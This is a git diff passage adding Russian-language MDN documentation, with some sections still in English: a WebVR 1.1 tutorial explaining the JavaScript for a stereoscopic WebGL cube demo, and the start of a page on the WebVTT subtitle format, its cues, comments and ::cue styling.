+<p><strong>Обратите внимание</strong>: Если WebVR не работает в Вашем браузере, то возможно Вам следует убедиться, что работа идёт через видеокарту. Например, для видеокарт фирмы NVIDIA, если у Вас успешно установлена панель управления NVIDIA, по клику правой кнопки на ярлык Firefox появится контекстное меню, в котором можно будет выбрать <em>Run with graphics processor &gt; High-performance NVIDIA processor</em>.</p>
+</div>
+
+<p>Наш пример это своеобразный святой Грааль примеров WebGL  — вращающийся куб в 3D. Реализован этот пример с помощью чистого <a href="/ru/docs/Web/API/WebGL_API">WebGL API</a>. Мы не будем объяснять основы JavaScript или WebGL, а только то, что касается WebVR.</p>
+
+<p>Так же в нашем примере присутствуют:</p>
+
+<ul>
+ <li>Кнопка для начала (и окончания) отображения сцены на VR дисплее.</li>
+ <li>Кнопка, показывающая и скрывающая обновляемые в реальном времени данные о положении и направлении VR устройства.</li>
+</ul>
+
+<p>При просмотре исходного кода <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/webgl-demo.js">основного JavaScript файла нашего примера</a>, Вы легко сможете найти части, относящиеся к WebVR, по предваряющим их комментариям. Просто забейте в строку поиска по документу строчку "WebVR".</p>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: Чтобы узнать больше об основах JavaScript и WebGL, обратитесь к нашим <a href="/ru/docs/Learn/JavaScript">учебным материалам по JavaScript</a> и нашему <a href="/ru/docs/Web/API/WebGL_API/Tutorial">руководству по WebGL</a>.</p>
+</div>
+
+<h2 id="Как_это_работает">Как это работает?</h2>
+
+<p>Пока что, давайте взглянем на части кода, связанные с WebVR.</p>
+
+<p>Типичное (простое) WebVR приложение работает следующим образом:</p>
+
+<ol>
+ <li>{{domxref("Navigator.getVRDisplays()")}} используется для получения ссылки на ваше VR устройство.</li>
+ <li>{{domxref("VRDisplay.requestPresent()")}} используется для начала отображения сцены на VR устройстве.</li>
+ <li>{{domxref("VRDisplay.requestAnimationFrame()")}} используется при создании цикла отображения кадров анимации с правильной для выбранного устройства частотой обновления.</li>
+ <li>Внутри цикла сначала, для получения данных необходимых для отображения кадра, используется ({{domxref("VRDisplay.getFrameData()")}}). Затем сцена отрисовывается дважды (по разу для каждого глаза в соответствующей ему области видимости), а потом отображается с помощью функции ({{domxref("VRDisplay.submitFrame()")}}).</li>
+</ol>
+
+<p>In the below sections we'll look at our raw-webgl-demo in detail, and see where exactly the above features are used.</p>
+
+<h3 id="Starting_with_some_variables">Starting with some variables</h3>
+
+<p>The first WebVR-related code you'll meet is this following block:</p>
+
+<pre class="brush: js">// WebVR variables
+
+var frameData = new VRFrameData();
+var vrDisplay;
+var btn = document.querySelector('.stop-start');
+var normalSceneFrame;
+var vrSceneFrame;
+
+var poseStatsBtn = document.querySelector('.pose-stats');
+var poseStatsSection = document.querySelector('section');
+poseStatsSection.style.visibility = 'hidden'; // hide it initially
+
+var posStats = document.querySelector('.pos');
+var orientStats = document.querySelector('.orient');
+var linVelStats = document.querySelector('.lin-vel');
+var linAccStats = document.querySelector('.lin-acc');
+var angVelStats = document.querySelector('.ang-vel');
+var angAccStats = document.querySelector('.ang-acc');
+var poseStatsDisplayed = false;</pre>
+
+<p>Let's briefly explain these:</p>
+
+<ul>
+ <li><code>frameData</code> contains a {{domxref("VRFrameData")}} object, created using the {{domxref("VRFrameData.VRFrameData", "VRFrameData()")}} constructor. This is initially empty, but will later contain the data required to render each frame to show in the VR display, updated constantly as the rendering loop runs.</li>
+ <li><code>vrDisplay</code> starts uninitialized, but will later on hold a reference to our VR headset ({{domxref("VRDisplay")}} — the central control object of the API).</li>
+ <li><code>btn</code> and <code>poseStatsBtn</code> hold references to the two buttons we are using to control our app.</li>
+ <li><code>normalSceneFrame</code> and <code>vrSceneFrame</code> start uninitialized, but later on will hold references to {{domxref("Window.requestAnimationFrame()")}} and {{domxref("VRDisplay.requestAnimationFrame()")}} calls — these will initiate the running of a normal rendering loop, and a special WebVR rendering loop; we'll explain the difference between these two later on.</li>
+ <li>The other variables store references to different parts of the VR pose data display box, which you can see in the bottom right hand corner of the UI.</li>
+</ul>
+
+<h3 id="Getting_a_reference_to_our_VR_display">Getting a reference to our VR display</h3>
+
+<p>One of the major functions inside our code is <code>start()</code> — we run this function when the body has finished loading:</p>
+
+<pre class="brush: js">// start
+//
+// Called when the body has loaded is created to get the ball rolling.
+
+document.body.onload = start;</pre>
+
+<p>To begin with, <code>start()</code> retrieves a WebGL context to use to render 3D graphics into the {{htmlelement("canvas")}} element in <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/index.html">our HTML</a>. We then check whether the <code>gl</code> context is available — if so, we run a number of functions to set up the scene for display.</p>
+
+<pre class="brush: js">function start() {
+  canvas = document.getElementById("glcanvas");
+
+  initWebGL(canvas);      // Initialize the GL context
+
+  // WebGL setup code here</pre>
+
+<p>Next, we start the process of actually rendering the scene onto the canvas, by setting the canvas to fill the entire browser viewport, and running the rendering loop (<code>drawScene()</code>) for the first time. This is the non-WebVR — normal — rendering loop.</p>
+
+<pre class="brush: js">    // draw the scene normally, without WebVR - for those who don't have it and want to see the scene in their browser
+
+    canvas.width = window.innerWidth;
+    canvas.height = window.innerHeight;
+    drawScene();</pre>
+
+<p>Now onto our first WebVR-specific code. First of all, we check to see if {{domxref("Navigator.getVRDisplays")}} exists — this is the entry point into the API, and therefore good basic feature detection for WebVR. You'll see at the end of the block (inside the <code>else</code> clause) that if this doesn't exist, we log a message to indicate that WebVR 1.1 isn't supported by the browser.</p>
+
+<pre class="brush: js">    // WebVR: Check to see if WebVR is supported
+    if(navigator.getVRDisplays) {
+      console.log('WebVR 1.1 supported');</pre>
+
+<p>Inside our <code>if() { ... }</code> block, we run the {{domxref("Navigator.getVRDisplays()")}} function. This returns a promise, which is fulfilled with an array containing all the VR display devices connected to the computer. If none are connected, the array will be empty.</p>
+
+<pre class="brush: js">      // Then get the displays attached to the computer
+      navigator.getVRDisplays().then(function(displays) {</pre>
+
+<p>Inside the promise <code>then()</code> block, we check whether the array length is more than 0; if so, we set the value of our <code>vrDisplay</code> variable to the 0 index item inside the array. <code>vrDisplay</code> now contains a {{domxref("VRDisplay")}} object representing our connected display!</p>
+
+<pre class="brush: js">        // If a display is available, use it to present the scene
+        if(displays.length &gt; 0) {
+          vrDisplay = displays[0];
+          console.log('Display found');</pre>
+
+<div class="note">
+<p><strong>Note</strong>: It is unlikely that you'll have multiple VR displays connected to your computer, and this is just a simple demo, so this will do for now.</p>
+</div>
+
+<h3 id="Starting_and_stopping_the_VR_presentation">Starting and stopping the VR presentation</h3>
+
+<p>Now we have a {{domxref("VRDisplay")}} object, we can use it do a number of things. The next thing we want to do is wire up functionality to start and stop presentation of the WebGL content to the display.</p>
+
+<p>Continuing on with the previous code block, we now add an event listener to our start/stop button (<code>btn</code>) — when this button is clicked we want to check whether we are presenting to the display already (we do this in a fairly dumb fashion, by checking what the button <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code> contains).</p>
+
+<p>If the display is not already presenting, we use the {{domxref("VRDisplay.requestPresent()")}} method to request that the browser start presenting content to the display. This takes as a parameter an array of the {{domxref("VRLayerInit")}} objects representing the layers you want to present in the display.</p>
+
+<p>Since the maximum number of layers you can display is currently 1, and the only required object member is the {{domxref("VRLayerInit.source")}} property (which is a reference to the {{htmlelement("canvas")}} you want to present in that layer; the other parameters are given sensible defaults — see {{domxref("VRLayerInit.leftBounds", "leftBounds")}} and {{domxref("VRLayerInit.rightBounds", "rightBounds")}})), the parameter is simply [{ source: canvas }].</p>
+
+<p><code>requestPresent()</code> returns a promise that is fulfilled when the presentation begins successfully.</p>
+
+<pre class="brush: js">          // Starting the presentation when the button is clicked: It can only be called in response to a user gesture
+          btn.addEventListener('click', function() {
+            if(btn.textContent === 'Start VR display') {
+              vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+                console.log('Presenting to WebVR display');</pre>
+
+<p>With our presentation request successful, we now want to start setting up to render content to present to the VRDisplay. First of all we set the canvas to the same size as the VR display area. We do this by getting the {{domxref("VREyeParameters")}} for both eyes using {{domxref("VRDisplay.getEyeParameters()")}}.</p>
+
+<p>We then do some simple math to calculate the total width of the VRDisplay rendering area based on the eye {{domxref("VREyeParameters.renderWidth")}} and {{domxref("VREyeParameters.renderHeight")}}.</p>
+
+<pre class="brush: js">                // Set the canvas size to the size of the vrDisplay viewport
+
+                var leftEye = vrDisplay.getEyeParameters('left');
+                var rightEye = vrDisplay.getEyeParameters('right');
+
+                canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+                canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);</pre>
+
+<p>Next, we {{domxref("Window.cancelAnimationFrame()", "cancel the animation loop")}} previously set in motion by the {{domxref("Window.requestAnimationFrame()")}} call inside the <code>drawScene()</code> function, and instead invoke <code>drawVRScene()</code>. This function renders the same scene as before, but with some special WebVR magic going on. The loop inside here is maintained by WebVR's special {{domxref("VRDisplay.requestAnimationFrame")}} method.</p>
+
+<pre class="brush: js">                // stop the normal presentation, and start the vr presentation
+                window.cancelAnimationFrame(normalSceneFrame);
+                drawVRScene();</pre>
+
+<p>Finally, we update the button text so that the next time it is pressed, it will stop presentation to the VR display.</p>
+
+<pre class="brush: js">                btn.textContent = 'Exit VR display';
+              });</pre>
+
+<p><br>
+ To stop the VR presentation when the button is subsequently pressed, we call {{domxref("VRDisplay.exitPresent()")}}. We also reverse the button's text content, and swap over the <code>requestAnimationFrame</code> calls. You can see here that we are using {{domxref("VRDisplay.cancelAnimationFrame")}} to stop the VR rendering loop, and starting the normal rendering loop off again by calling <code>drawScene()</code>.</p>
+
+<pre class="brush: js">            } else {
+              vrDisplay.exitPresent();
+              console.log('Stopped presenting to WebVR display');
+
+              btn.textContent = 'Start VR display';
+
+              // Stop the VR presentation, and start the normal presentation
+              vrDisplay.cancelAnimationFrame(vrSceneFrame);
+              drawScene();
+            }
+          });
+        }
+      });
+    } else {
+      console.log('WebVR API not supported by this browser.');
+    }
+  }
+}</pre>
+
+<p>Once the presentation starts, you'll be able to see the stereoscopic view displayed in the browser:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15123/Capture2.png" style="display: block; margin: 0 auto;"></p>
+
+<p>You'll learn below how the stereoscopic view is actually produced.</p>
+
+<h3 id="Why_does_WebVR_have_its_own_requestAnimationFrame()">Why does WebVR have its own requestAnimationFrame()?</h3>
+
+<p>This is a good question. The reason is that for smooth rendering inside the VR display, you need to render the content at the display's native refresh rate, not that of the computer. VR display refresh rates are greater than PC refresh rates, typically up to 90fps. The rate will be differ from the computer's core refresh rate.</p>
+
+<p>Note that when the VR display is not presenting, {{domxref("VRDisplay.requestAnimationFrame")}} runs identically to {{domxref("Window.requestAnimationFrame")}}, so if you wanted, you could just use a single rendering loop, rather than the two we are using in our app. We have used two because we wanted to do slightly different things depending on whether the VR display is presenting or not, and keep things separated for ease of comprehension.</p>
+
+<h3 id="Rendering_and_display">Rendering and display</h3>
+
+<p>At this point, we've seen all the code required to access the VR hardware, request that we present our scene to the hardware, and start running the rending loop. Let's now look at the code for the rendering loop, and explain how the WebVR-specific parts of it work.</p>
+
+<p>First of all, we begin the definition of our rendering loop function — <code>drawVRScene()</code>. The first thing we do inside here is make a call to {{domxref("VRDisplay.requestAnimationFrame()")}} to keep the loop running after it has been called once (this occurred earlier on in our code when we started presenting to the VR display). This call is set as the value of the global <code>vrSceneFrame</code> variable, so we can cancel the loop with a call to {{domxref("VRDisplay.cancelAnimationFrame()")}} once we exit VR presenting.</p>
+
+<pre class="brush: js">function drawVRScene() {
+  // WebVR: Request the next frame of the animation
+  vrSceneFrame = vrDisplay.requestAnimationFrame(drawVRScene);</pre>
+
+<p>Next, we call {{domxref("VRDisplay.getFrameData()")}}, passing it the name of the variable that we want to use to contain the frame data. We initialized this earlier on — <code>frameData</code>. After the call completes, this variable will contain the data need to render the next frame to the VR device, packaged up as a {{domxref("VRFrameData")}} object. This contains things like projection and view matrices for rendering the scene correctly for the left and right eye view, and the current {{domxref("VRPose")}} object, which contains data on the VR display such as orientation, position, etc.</p>
+
+<p>This has to be called on every frame so the rendered view is always up-to-date.</p>
+
+<pre class="brush: js">  // Populate frameData with the data of the next frame to display
+  vrDisplay.getFrameData(frameData);</pre>
+
+<p>Now we retrieve the current {{domxref("VRPose")}} from the {{domxref("VRFrameData.pose")}} property, store the position and orientation for use later on, and send the current pose to the pose stats box for display, if the <code>poseStatsDisplayed</code> variable is set to true.</p>
+
+<pre class="brush: js">  // You can get the position, orientation, etc. of the display from the current frame's pose
+
+  var curFramePose = frameData.pose;
+  var curPos = curFramePose.position;
+  var curOrient = curFramePose.orientation;
+  if(poseStatsDisplayed) {
+    displayPoseStats(curFramePose);
+  }</pre>
+
+<p>  We now clear the canvas before we start drawing on it, so that the next frame is clearly seen, and we don't also see previous rendered frames:</p>
+
+<pre class="brush: js">  // Clear the canvas before we start drawing on it.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);</pre>
+
+<p>We now render the view for both the left and right eyes. First of all we need to create projection and view locations for use in the rendering. these are {{domxref("WebGLUniformLocation")}} objects, created using the {{domxref("WebGLRenderingContext.getUniformLocation()")}} method, passing it the shader program's identifier and an identifying name as parameters.</p>
+
+<pre class="brush: js">  // WebVR: Create the required projection and view matrix locations needed
+  // for passing into the uniformMatrix4fv methods below
+
+  var projectionMatrixLocation = gl.getUniformLocation(shaderProgram, "projMatrix");
+  var viewMatrixLocation = gl.getUniformLocation(shaderProgram, "viewMatrix");</pre>
+
+<p>The next rendering step involves:</p>
+
+<ul>
+ <li>Specifying the viewport size for the left eye, using {{domxref("WebGLRenderingContext.viewport")}} — this is logically the first half of the canvas width, and the full canvas height.</li>
+ <li>Specifying the view and projection matrix values to use to render the left eye — this is done using the {{domxref("WebGLRenderingContext.uniformMatrix", "WebGLRenderingContext.uniformMatrix4fv")}} method, which is passed the location values we retrieved above, and the left matrices obtained from the {{domxref("VRFrameData")}} object.</li>
+ <li>Running the <code>drawGeometry()</code> function, which renders the actual scene — because of what we specified in the previous two steps, we will render it for the left eye only.</li>
+</ul>
+
+<pre class="brush: js">  // WebVR: Render the left eye’s view to the left half of the canvas
+  gl.viewport(0, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.leftProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.leftViewMatrix);
+  drawGeometry();</pre>
+
+<p>We now do exactly the same thing, but for the right eye:</p>
+
+<pre class="brush: js">  // WebVR: Render the right eye’s view to the right half of the canvas
+  gl.viewport(canvas.width * 0.5, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.rightProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.rightViewMatrix);
+  drawGeometry();</pre>
+
+<p>Next we define our <code>drawGeometry()</code> function. Most of this is just general WebGL code required to draw our 3D cube. You'll see some WebVR-specific parts in the <code>mvTranslate()</code> and <code>mvRotate()</code> function calls — these pass matrices into the WebGL program that define the translation and rotation of the cube for the current frame</p>
+
+<p>You'll see that we are modifying these values by the position (<code>curPos</code>) and orientation (<code>curOrient</code>) of the VR display we got from the {{domxref("VRPose")}} object. The result is that, for example, as you move or rotate your head left, the x position value (<code>curPos[0]</code>) and y rotation value (<code>[curOrient[1]</code>) are added to the x translation value, meaning that the cube will move to the right, as you'd expect when you are looking at something and then move/turn your head left.</p>
+
+<p>This is a quick and dirty way to use VR pose data, but it illustrates the basic principle.</p>
+
+<pre class="brush: js">  function drawGeometry() {
+    // Establish the perspective with which we want to view the
+    // scene. Our field of view is 45 degrees, with a width/height
+    // ratio of 640:480, and we only want to see objects between 0.1 units
+    // and 100 units away from the camera.
+
+    perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+    // Set the drawing position to the "identity" point, which is
+    // the center of the scene.
+
+    loadIdentity();
+
+    // Now move the drawing position a bit to where we want to start
+    // drawing the cube.
+
+    mvTranslate([
+                  0.0 - (curPos[0] * 25) + (curOrient[1] * 25),
+                  5.0 - (curPos[1] * 25) - (curOrient[0] * 25),
+                  -15.0 - (curPos[2] * 25)
+               ]);
+
+    // Save the current matrix, then rotate before we draw.
+
+    mvPushMatrix();
+    mvRotate(cubeRotation, [0.25, 0, 0.25 - curOrient[2] * 0.5]);
+
+    // Draw the cube by binding the array buffer to the cube's vertices
+    // array, setting attributes, and pushing it to GL.
+
+    gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesBuffer);
+    gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+
+    // Set the texture coordinates attribute for the vertices.
+
+    gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
+    gl.vertexAttribPointer(textureCoordAttribute, 2, gl.FLOAT, false, 0, 0);
+
+    // Specify the texture to map onto the faces.
+
+    gl.activeTexture(gl.TEXTURE0);
+    gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+    gl.uniform1i(gl.getUniformLocation(shaderProgram, "uSampler"), 0);
+
+    // Draw the cube.
+
+    gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+    setMatrixUniforms();
+    gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+
+    // Restore the original matrix
+
+    mvPopMatrix();
+  }
+</pre>
+
+<p>The next bit of the code has nothing to do with WebVR — it just updates the rotation of the cube on each frame:</p>
+
+<pre class="brush: js">  // Update the rotation for the next draw, if it's time to do so.
+
+  var currentTime = (new Date).getTime();
+  if (lastCubeUpdateTime) {
+    var delta = currentTime - lastCubeUpdateTime;
+
+    cubeRotation += (30 * delta) / 1000.0;
+  }
+
+  lastCubeUpdateTime = currentTime;</pre>
+
+<p>The last part of the rendering loop involves us calling {{domxref("VRDisplay.submitFrame()")}} — now all the work has been done and we've rendered the display on the {{htmlelement("canvas")}}, this method then submits the frame to the VR display so it is displayed on there as well.</p>
+
+<pre class="brush: js">  // WebVR: Indicate that we are ready to present the rendered frame to the VR display
+  vrDisplay.submitFrame();
+}</pre>
+
+<h3 id="Displaying_the_pose_(position_orientation_etc.)_data">Displaying the pose (position, orientation, etc.) data</h3>
+
+<p>In this section we'll discuss the <code>displayPoseStats()</code> function, which displays our updated pose data on each frame. The function is fairly simple.</p>
+
+<p>First of all, we store the six different property values obtainable from the {{domxref("VRPose")}} object in their own variables — each one is a {{domxref("Float32Array")}}.</p>
+
+<pre class="brush: js">function displayPoseStats(pose) {
+  var pos = pose.position;
+  var orient = pose.orientation;
+  var linVel = pose.linearVelocity;
+  var linAcc = pose.linearAcceleration;
+  var angVel = pose.angularVelocity;
+  var angAcc = pose.angularAcceleration;</pre>
+
+<p>We then write out the data into the information box, updating it on every frame. We've clamped each value to three decimal places using <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed">toFixed()</a></code>, as the values are hard to read otherwise.</p>
+
+<p>You should note that we've used a conditional expression to detect whether the linear acceleration and angular acceleration arrays are successfully returned before we display the data. These values are not reported by most VR hardware as yet, so the code would throw an error if we did not do this (the arrays return <code>null</code> if they are not successfully reported).</p>
+
+<pre class="brush: js">  posStats.textContent = 'Position: x ' + pos[0].toFixed(3) + ', y ' + pos[1].toFixed(3) + ', z ' + pos[2].toFixed(3);
+  orientStats.textContent = 'Orientation: x ' + orient[0].toFixed(3) + ', y ' + orient[1].toFixed(3) + ', z ' + orient[2].toFixed(3);
+  linVelStats.textContent = 'Linear velocity: x ' + linVel[0].toFixed(3) + ', y ' + linVel[1].toFixed(3) + ', z ' + linVel[2].toFixed(3);
+  angVelStats.textContent = 'Angular velocity: x ' + angVel[0].toFixed(3) + ', y ' + angVel[1].toFixed(3) + ', z ' + angVel[2].toFixed(3);
+
+  if(linAcc) {
+    linAccStats.textContent = 'Linear acceleration: x ' + linAcc[0].toFixed(3) + ', y ' + linAcc[1].toFixed(3) + ', z ' + linAcc[2].toFixed(3);
+  } else {
+    linAccStats.textContent = 'Linear acceleration not reported';
+  }
+
+  if(angAcc) {
+    angAccStats.textContent = 'Angular acceleration: x ' + angAcc[0].toFixed(3) + ', y ' + angAcc[1].toFixed(3) + ', z ' + angAcc[2].toFixed(3);
+  } else {
+    angAccStats.textContent = 'Angular acceleration not reported';
+  }
+}</pre>
+
+<h2 id="WebVR_events">WebVR events</h2>
+
+<p>The WebVR spec features a number of events that are fired, allowing our app code to react to changes in the state of the VR display (see <a href="/en-US/docs/Web/API/WebVR_API#Window_events">Window events</a>). For example:</p>
+
+<ul>
+ <li>{{event("vrdisplaypresentchange")}} — Fires when the presenting state of a VR display changes — i.e. goes from presenting to not presenting, or vice versa.</li>
+ <li>{{event("vrdisplayconnect")}} — Fires when a compatible VR display has been connected to the computer.</li>
+ <li>{{event("vrdisplaydisconnect")}} — Fires when a compatible VR display has been disconnected from the computer.</li>
+</ul>
+
+<p>To demonstrate how they work, our simple demo includes the following example:</p>
+
+<pre class="brush: js">window.addEventListener('vrdisplaypresentchange', function(e) {
+  console.log('Display ' + e.display.displayId + ' presentation has changed. Reason given: ' + e.reason + '.');
+});</pre>
+
+<p>As you can see, the {{domxref("VRDisplayEvent", "event object")}} provides two useful properties — {{domxref("VRDisplayEvent.display")}}, which contains a reference to the {{domxref("VRDisplay")}} the event was fired in response to, and {{domxref("VRDisplayEvent.reason")}}, which contains a human-readable reason why the event was fired.</p>
+
+<p>This is a very useful event; you could use it to handle cases where the display gets disconnected unexpectedly, stopping errors from being thrown and making sure the user is aware of the situation. In Google's Webvr.info presentation demo, the event is used to run an <a href="https://github.com/toji/webvr.info/blob/master/samples/03-vr-presentation.html#L174"><code>onVRPresentChange()</code> function</a>, which updates the UI controls as appropriate and resizes the canvas.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article has given you the very basics of how to create a simple WebVR 1.1 app, to help you get started.</p>
diff --git a/files/ru/web/api/webvtt_api/index.html b/files/ru/web/api/webvtt_api/index.html
new file mode 100644
index 0000000000..11db07532a
--- /dev/null
+++ b/files/ru/web/api/webvtt_api/index.html
@@ -0,0 +1,905 @@
+---
+title: Формат Web Video Text Tracks (WebVTT)
+slug: Web/API/WebVTT_API
+translation_of: Web/API/WebVTT_API
+---
+<div>{{APIRef("WebVTT")}}</div>
+
+<p><span class="seoSummary"><strong>Формат Web Video Text Tracks</strong> (<strong>WebVTT</strong>)</span>это формат для отображения синхронизированных текстовых треков<span class="seoSummary"> (</span>такие как субтитры или подписи<span class="seoSummary">) </span>с помощью <span class="seoSummary"> элементов {{HTMLElement("track")}}.</span> Основная цель файлов WebVTT — добавить текстовые наложения к элементам {{HTMLElement("video")}}. WebVTT является текстовым форматом, который должен быть закодирован с использованием {{Glossary("UTF-8")}}. В этих файлах вы можете использовать пробелы и табы для отступов. Существует также небольшой API для представления и управления этими дорожками и данными, необходимыми для отображения текста в нужное время.</p>
+
+<h2 id="Файлы_WebVTT">Файлы WebVTT</h2>
+
+<p>MIME тип файлов WebVTT — <code>text/vtt</code>.</p>
+
+<p>Файл WebVTT (<code>.vtt</code>) содержит реплики (cues), которые могут быть одной строкой или несколькими строками, как показано ниже:</p>
+
+<pre class="notranslate">WEBVTT
+
+00:01.000 --&gt; 00:04.000
+Никогда не пейте жидкий азот.
+
+00:05.000 --&gt; 00:09.000
+- Это пробьет ваш желудок.
+- Вы можете умереть.
+</pre>
+
+<h2 id="Тело_WebVTT_файла">Тело WebVTT файла</h2>
+
+<p>Структура WebVTT состоит из следующих компонентов, некоторые из которых являются необязательными, в следующем порядке:</p>
+
+<ul>
+ <li>Необязательный знак порядка байтов (BOM).</li>
+ <li>Строка  "<code>WEBVTT</code>".</li>
+ <li>Дополнительный текстовый заголовок справа от <code>WEBVTT.</code>
+  <ul>
+   <li>Должен быть хотя бы один пробел после  <code>WEBVTT.</code></li>
+   <li>Вы можете использовать его, чтобы добавить описание к файлу.</li>
+   <li>Вы можете использовать что угодно в текстовом заголовке, кроме перевода строки или  "<code>--&gt;</code>".</li>
+  </ul>
+ </li>
+ <li>Пустая строка, которая эквивалентна двум последовательным переводам строки.</li>
+ <li>Ноль или более реплик или комментариев .</li>
+ <li>Ноль или более пустых строк.</li>
+</ul>
+
+<h5 id="Пример_1_-_Простейший_возможный_файл_WEBVTT">Пример 1 - Простейший возможный файл WEBVTT</h5>
+
+<pre class="eval notranslate">WEBVTT
+</pre>
+
+<h5 id="Пример_2_-_Очень_простой_файл_WebVTT_с_текстовым_заголовком">Пример 2 - Очень простой файл WebVTT с текстовым заголовком</h5>
+
+<pre class="eval notranslate">WEBVTT - Этот файл не содержит реплик.
+</pre>
+
+<h5 id="Пример_3_-_Обычный_WebVTT_с_заголовком_и_репликами">Пример 3 - Обычный WebVTT с заголовком и репликами</h5>
+
+<pre class="eval notranslate">WEBVTT - Этот файл содержит реплики.
+
+14
+00:01:14.815 --&gt; 00:01:18.114
+- Что?
+- Где мы сейчас?
+
+15
+00:01:18.171 --&gt; 00:01:20.991
+- Это большая страна летучих мышей.
+
+16
+00:01:21.058 --&gt; 00:01:23.868
+- [ Визг летучих мышей ]
+- Они не попадут в твои волосы. They're after the bugs.
+</pre>
+
+<h3 id="Внутренняя_структура_файла_WebVTT">Внутренняя структура файла WebVTT</h3>
+
+<p>Давайте вернемся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.</p>
+
+<pre class="notranslate">WEBVTT
+
+00:01.000 --&gt; 00:04.000
+- Never drink liquid nitrogen.
+
+00:05.000 --&gt; 00:09.000
+- It will perforate your stomach.
+- You could die.
+
+NOTE Это последняя строка в файле</pre>
+
+<p>В данном случае каждая реплика:</p>
+
+<ul>
+ <li>Первая строка начинается с метки времени, которое определяет начало отображения нижележащего текста.</li>
+ <li>На той же строке далее идут символы  <code>--&gt;</code>.</li>
+ <li>Первая строка заканчивается  второй меткой времени, которое определяет прекращения отображения связанного текста.</li>
+ <li>Затем может быть одна или несколько строк, начинающихся с дефиса  (-), каждая из которых содержит часть текстовой дорожки для отображения.</li>
+</ul>
+
+<p>Мы также можем разместить комментарии в нашем файле <code>.vtt</code>, чтобы помочь нам запомнить важную информацию о частях нашего файла. Они должны быть в отдельных строках, начинающихся со слова <code>NOTE</code>. Подробнее об этом сказано  в следующем разделе.</p>
+
+<p>Важно не использовать дополнительные пустые строки в реплике, например, между строкой синхронизации и текстом реплики. WebVTT использует строчные разделители, поэтому пустая строка обозначит окончание реплики.</p>
+
+<h2 id="Комментарии_в_WebVTT">Комментарии в WebVTT</h2>
+
+<p>Comments are an optional component that can be used to add information to a WebVTT file. Comments are intended for those reading the file and are not seen by users. Comments may contain newlines but cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a comment.</p>
+
+<p>A comment cannot contain the string "<code>--&gt;",</code> the ampersand character (&amp;), or the less-than sign (&lt;). If you wish to use such characters, you need to escape them using for example <code>&amp;amp;</code> for ampersand and <code>&amp;lt;</code> for less-than. It is also recommended that you use the greater-than escape sequence (<code>&amp;gt;</code>) instead of the greater-than character (<code>&gt;</code>) to avoid confusion with tags.</p>
+
+<p>A comment consists of three parts:</p>
+
+<ul>
+ <li>The string <code>NOTE.</code></li>
+ <li>A space or a newline.</li>
+ <li>Zero or more characters other than those noted above.</li>
+</ul>
+
+<h5 id="Example_4_-_Common_WebVTT_example">Example 4 - Common WebVTT example</h5>
+
+<pre class="eval notranslate">NOTE This is a comment
+</pre>
+
+<h5 id="Example_5_-_Multi-line_comment">Example 5 - Multi-line comment</h5>
+
+<pre class="eval notranslate">NOTE
+Another comment that is spanning
+more than one line.
+
+NOTE You can also make a comment
+across more than one line this way.
+</pre>
+
+<h5 id="Example_6_-_Common_comment_usage">Example 6 - Common comment usage</h5>
+
+<pre class="eval notranslate">WEBVTT - Translation of that film I like
+
+NOTE
+This translation was done by Kyle so that
+some friends can watch it with their parents.
+
+1
+00:02:15.000 --&gt; 00:02:20.000
+- Ta en kopp varmt te.
+- Det är inte varmt.
+
+2
+00:02:20.000 --&gt; 00:02:25.000
+- Har en kopp te.
+- Det smakar som te.
+
+NOTE This last line may not translate well.
+
+3
+00:02:25.000 --&gt; 00:02:30.000
+- Ta en kopp
+</pre>
+
+<h2 id="Стилизация_реплик_WebTT">Стилизация реплик WebTT</h2>
+
+<p>Реплики WebVTT можно стилизовать, используя псевдоэлемент {{cssxref("::cue")}}.</p>
+
+<h3 id="В_CSS-стилях_сайта">В CSS-стилях сайта</h3>
+
+<pre class="brush: css notranslate">video::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+
+video::cue(b) {
+  color: peachpuff;
+}
+</pre>
+
+<p>В данном примере фоном видео будет серый градиент, с цветом текста <code>papayawhip</code>. Также, текст, выделенный жирным шрифтом с помощью элемента {{HTMLElement("b")}}, имеет цвет <code>peachpuff</code>.</p>
+
+<p>Фрагмент HTML, приведенный ниже, отображает видео.</p>
+
+<pre class="brush: html notranslate">&lt;video controls autoplay src="video.webm"&gt;
+ &lt;track default src="track.vtt"&gt;
+&lt;/video&gt;
+</pre>
+
+<h3 id="Within_the_WebVTT_file_itself">Within the WebVTT file itself</h3>
+
+<p>You can also define the style directly in the WebVTT file. In this case, you insert your CSS rules into the file with each rule preceded by the string <code>"STYLE"</code> all by itelf on a line of text, as shown below:</p>
+
+<pre class="notranslate">WEBVTT
+
+STYLE
+::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+/* Style blocks cannot use blank lines nor "dash dash greater than" */
+
+NOTE comment blocks can be used between style blocks.
+
+STYLE
+::cue(b) {
+  color: peachpuff;
+}
+
